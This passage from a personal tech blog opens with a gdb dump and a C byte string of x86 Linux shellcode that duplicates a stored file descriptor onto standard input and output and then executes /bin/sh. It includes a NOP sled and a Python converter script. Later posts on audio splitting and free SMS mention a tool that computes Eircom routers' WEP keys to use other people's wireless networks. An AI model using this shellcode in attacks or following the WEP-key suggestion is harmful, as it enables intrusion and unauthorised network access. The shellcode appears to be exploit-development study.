0x08048263 <function+15>:    sub    $0x78,%esp
0x08048266 <function+18>:    xor    %edi,%edi
0x08048268 <begin+0>:    mov    %edi,%eax
0x0804826a <begin+2>:    inc    %eax
0x0804826b <begin+3>:    inc    %eax
0x0804826c <begin+4>:    int    $0x80
0x0804826e <begin+6>:    test   %eax,%eax
0x08048270 <begin+8>:    je     0x8048288 <child>
0x08048272 <parent+0>:    mov    %edi,%eax
0x08048274 <parent+2>:    mov    $0xa2,%al
0x08048276 <parent+4>:    push   $0x11111111
---Type <return> to continue, or q <return> to quit---
0x0804827b <parent+9>:    push   $0x11111111
0x08048280 <parent+14>:    mov    %esp,%ebx
0x08048282 <parent+16>:    mov    %edi,%ecx
0x08048284 <parent+18>:    int    $0x80
0x08048286 <parent+20>:    jmp    0x8048272 <parent>
0x08048288 <child+0>:    mov    -0x204(%esi),%ebx
0x0804828e <child+6>:    mov    %edi,%ecx
0x08048290 <child+8>:    mov    $0x3f,%al
0x08048292 <child+10>:    int    $0x80
0x08048294 <child+12>:    inc    %ecx
0x08048295 <child+13>:    mov    %edi,%eax
0x08048297 <child+15>:    mov    $0x3f,%al
0x08048299 <child+17>:    int    $0x80
0x0804829b <child+19>:    inc    %ecx
0x0804829c <child+20>:    mov    %edi,%eax
0x0804829e <child+22>:    mov    $0x3f,%al
0x080482a0 <child+24>:    int    $0x80
0x080482a2 <execshell+0>:    mov    %edi,%eax
0x080482a4 <execshell+2>:    mov    %al,0x7(%esi)
0x080482a7 <execshell+5>:    push   %eax
0x080482a8 <execshell+6>:    push   %esi
0x080482a9 <execshell+7>:    mov    %edi,%edx
0x080482ab <execshell+9>:    mov    %esp,%ecx
---Type <return> to continue, or q <return> to quit---
0x080482ad <execshell+11>:    mov    %esi,%ebx
0x080482af <execshell+13>:    mov    $0xb,%al
0x080482b1 <execshell+15>:    int    $0x80
0x080482b3 <bottom+0>:    call   0x8048260 <function+12>
0x080482b8 <bottom+5>:    das
0x080482b9 <bottom+6>:    bound  %ebp,0x6e(%ecx)
0x080482bc <bottom+9>:    das
0x080482bd <bottom+10>:    jae    0x8048327 <__floatdisf+55>
0x080482bf <bottom+12>:    inc    %ecx
0x080482c0 <bottom+13>:    ret
End of assembler dump.
(gdb) x/98xb 0x0804825e
0x804825e <function+10>:    0xeb    0x53    0x5e    0x89    0xf4    0x83    0xec    0x78
0x8048266 <function+18>:    0x31    0xff    0x89    0xf8    0x40    0x40    0xcd    0x80
0x804826e <begin+6>:    0x85    0xc0    0x74    0x16    0x89    0xf8    0xb0    0xa2
0x8048276 <parent+4>:    0x68    0x11    0x11    0x11    0x11    0x68    0x11    0x11
0x804827e <parent+12>:    0x11    0x11    0x89    0xe3    0x89    0xf9    0xcd    0x80
0x8048286 <parent+20>:    0xeb    0xea    0x8b    0x9e    0xfc    0xfd    0xff    0xff
0x804828e <child+6>:    0x89    0xf9    0xb0    0x3f    0xcd    0x80    0x41    0x89
0x8048296 <child+14>:    0xf8    0xb0    0x3f    0xcd    0x80    0x41    0x89    0xf8
0x804829e <child+22>:    0xb0    0x3f    0xcd    0x80    0x89    0xf8    0x88    0x46
0x80482a6 <execshell+4>:    0x07    0x50    0x56    0x89    0xfa    0x89    0xe1    0x89
0x80482ae <execshell+12>:    0xf3    0xb0    0x0b    0xcd    0x80    0xe8    0xa8    0xff
0x80482b6 <bottom+3>:    0xff    0xff    0x2f    0x62    0x69    0x6e    0x2f    ---Type <return> to continue, or q <return> to quit---
0x73
0x80482be <bottom+11>:    0x68    0x41
(gdb) Quit

And my desired output are the bytes in these strings:

char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* Second NOP slide */
 "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41"
 /* that's the shellcode */

So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?

#!/usr/bin/env python
import sys
 
paginator  = '''---Type  to continue, or q  to quit---'''
 
def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
            continue
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)
 
if __name__ == "__main__":
    to_convert = sys.stdin.read()
    converted = convert (to_convert)
    print converted

Want to take a guess what the shellcode actually does? It’s not too hard to see though.

Split CUE File and losslessly compressed Audio (FLAC, ape, …)

Saturday, November 14th, 2009

For some reason, I had to split a CUE file and a losslessly compressed audio file into single files to make it one file per track instead of one big file. My audio file was compressed with APE which I didn’t know before at all.  But it has a weird license anyway.

So I came across a really good page describing what to do which is basically using shntool (homepage). It’s really good, easy to use and has built in transcoding through appropriate third party programs, so I could transcode to Vorbis on the fly :-) It converts anything to anything, as long as it’s sound so you might find that tool useful as well :-)

Free SMS

Wednesday, October 21st, 2009

This could be interesting to anyone sending texts (SMS): In Ireland, I guess every operator has a so called webaccess which allows you to send up to a certain number of texts for free. Worldwide. That’s kinda handy because sending a SMS via normal GSM mode easily costs you 10ct. A data connection, however, should be much cheaper  (around 4ct. with O2 Ireland, not even 1ct with Simyo in Germany). You only need credentials to log into their website, so no SIM card is (directly) needed.

Because using the web sucks you want to have a nice and clean interface which you can program and extend yourself. Luckily, there are at least two projects, helping you to send SMS comfortably.

One for your PC is o2sms which is really handy. It’s a Perl script and easily useable:

mkdir -p ~/svn/ ~/bin/
svn co https://o2sms.svn.sourceforge.net/svnroot/o2sms
cat > ~/bin/o2sms <<EOF
#!/bin/sh

pushd ~/svn/o2sms/trunk/o2sms3/lib/
../bin/o2sms $@
popd
EOF

You have to have ~/bin/ in your path of course. I put the following in my /etc/profile:

if [ -d $HOME/bin ]; then
  PATH=$HOME/bin:$PATH
fi

If you don’t have  a PC at hand, you will find Cabbage useful. It’s a J2ME application for you mobile phone and it’s quite easy to use.

You might even find an (semi) open wireless network using the J2ME app which calculates WEP Keys of Eircom routers, so that you don’t even have to spend the money on the data connection. The algorithm is describere here and you can find a Perl or Python, as well as a C++ implementation here.

On O2, you can send free SMS via normal GSM, so it would be a pity if you had to use the Webtexts. As I discovered that sending SMS via a serial connection is easy, I started to write PySMS. It’s still work in progress, but it actually parses your o2sms configuration file so that you can use send_sms instead of o2sms to send your SMS. To get it working right you might want to enter your phones Bluetooth address in /etc/bluetooth/rfcomm.conf. Mine reads:

rfcomm2 {
  bind yes;
  device 00:FO:OB:AR:BA:ZZ;
  channel   2;
  comment "Mah Mobile";
}

Dunno exactly how to determine the channel, but I guess sdptool browse should show “Dial-Up Networking” as service name for the channel.

I’d really like to have a wrapper around send_sms and o2sms which decides for me whether it sends the SMS via GSM, Web or both. But my main problem, beside the lack of time, is that I can’t snoop on stdin to pass it to a second program afterwards. Since I don’t really know if stdin must be read, I can’t read it myself and just send it twice. Also, subprocess.Popen is not particucarly happy accepting anything else than stdin or a string. So if you have a solution to this problem, please show up :)

The next step is to write a simple webinterface against this o2sms library and have free SMS for everyone :-)

New Heise Feeds

Friday, October 9th, 2009

Even after  Heise updated its CMS it doesn’t deliver Atom Feeds with an abstract. I hope they’ll at least produce well formed XML… As I think the abstracts, which can be found on the main page or the mobile version, are quite handy, I wrote a parser which will generate an Atom feed with the teaser (and not the first paragraph of the article) built in. I couldn’t use MakeMyRSS not just because it prints an ad every month or so, but because I had the requirement to link to the print URLs instead of the web URLs (I don’t have that requirement anymore). But since MakeMyRSS is not free, I liked to have my own solution anyway :-) Plus, it’s not written in Bash ;-)

You can find the Atom feed at http://muelli.cryptobitch.de/rss/heise-atom.xml or the parser here. But you’d be better off cloning the repository (hg clone http://hg.cryptobitch.de/geRSSicht/) because you can send me patches more easily ;-)

You’ll also find a parser for the adminstrative court of Hamburg and for Telepolis. All the news are in German though, but at least the Heise feed should be easily portable for The H